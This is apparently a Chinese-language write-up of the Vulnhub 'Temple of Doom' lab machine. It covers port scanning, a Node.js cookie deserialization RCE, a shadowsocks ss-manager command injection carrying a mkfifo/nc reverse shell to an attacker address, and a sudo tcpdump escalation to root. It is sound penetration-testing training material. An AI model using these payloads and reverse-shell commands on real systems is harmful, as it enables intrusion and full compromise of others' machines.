0%

Vulnhub-Tempale-of-Doom

靶机下载链接

0x01 信息收集

NMAP扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-18 16:12 CST
Nmap scan report for 192.168.56.7
Host is up (0.00023s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 95:68:04:c7:42:03:04:cd:00:4e:36:7e:cd:4f:66:ea (RSA)
| 256 c3:06:5f:7f:17:b6:cb:bc:79:6b:46:46:cc:11:3a:7d (ECDSA)
|_ 256 63:0c:28:88:25:d5:48:19:82:bb:bd:72:c6:6c:68:50 (ED25519)
666/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.66 seconds

分析

  • 22 ssh只能爆破了吧
  • 666 是http服务,估计只能从这里入手了。

HTTP

nikto扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
nikto -h http://192.168.56.7:666
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.56.7
+ Target Hostname: 192.168.56.7
+ Target Port: 666
+ Start Time: 2020-07-18 16:17:07 (GMT8)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Express
+ Server leaks inodes via ETags, header found with file /, fields: 0xW/24 0xxWt5IUP3GfGbHraPgY5EGPpcNzA
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated: 20 error(s) and 6 item(s) reported on remote host
+ End Time: 2020-07-18 16:17:21 (GMT8) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

nikto扫描没发现什么东西

666端口

访问后是这个东西,不知道是什么。抓包看看

设置了一段cookie,但是如果携带这个cookie访问之后,就会报错。

1
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMTIn0%3D

改为

1
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}

修改错误的值后重新编码,成功访问。但是好像没什么用。

结合这个数组,让我想起了反序列化,但是我个人是没有怎么研究过反序列化的(太菜了~,随即去谷歌了一下nodejs反序列化。

很幸运,找到了几篇利用方法。

将以下生成的代码与调用rce结合一下。并将其编码成base64放入cookie中。

1
{"rce":"_$$ND_FUNC$$_function (){生成的代码丢这里}()"}

成功get shell

0x02 漏洞利用

利用nodejs的反序列化远程命令执行漏洞,成功getshell

查询/etc/passwd,发现还存在另外的一个用户fireman

查看正在运行的程序,发现ss-manager。

谷歌了一下之后发现是shadowsocks的启动程序。。查询目标机器的运行版本后,是3.1

找到该版本的exp。

利用方式

1
2
nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"}

"method":"||touch/tmp/evil||"} touch /tmp/evil这个地方就是要运行的命令。将这个地方改成反弹shell的命令就好了

1
2
nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.254 4444 >/tmp/f||"}

成功越权到fireman用户,并且我们也知道了fireman用户拥有sudo tcpdump的权限。

在GTFOBINS中查询到tcpdump能够sudo越权。gtfobins-tcpdump

利用方式

1
2
3
4
5
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

这里注意一下,最好将 -i lo 改为eth0,不知道什么原因,如果使用lo本地回环的话,程序将会僵死在那里。

成功利用。

我这里尝试直接打开bash和sh发现是失败的,因为tcpdump的这个命令不支持交互性的命令,所以最好用弹shell的方式。

接下来只需要将$TF管道文件的内容改为弹shell的命令,就可以get root shell了。

0x03 提权

提权至root用户成功。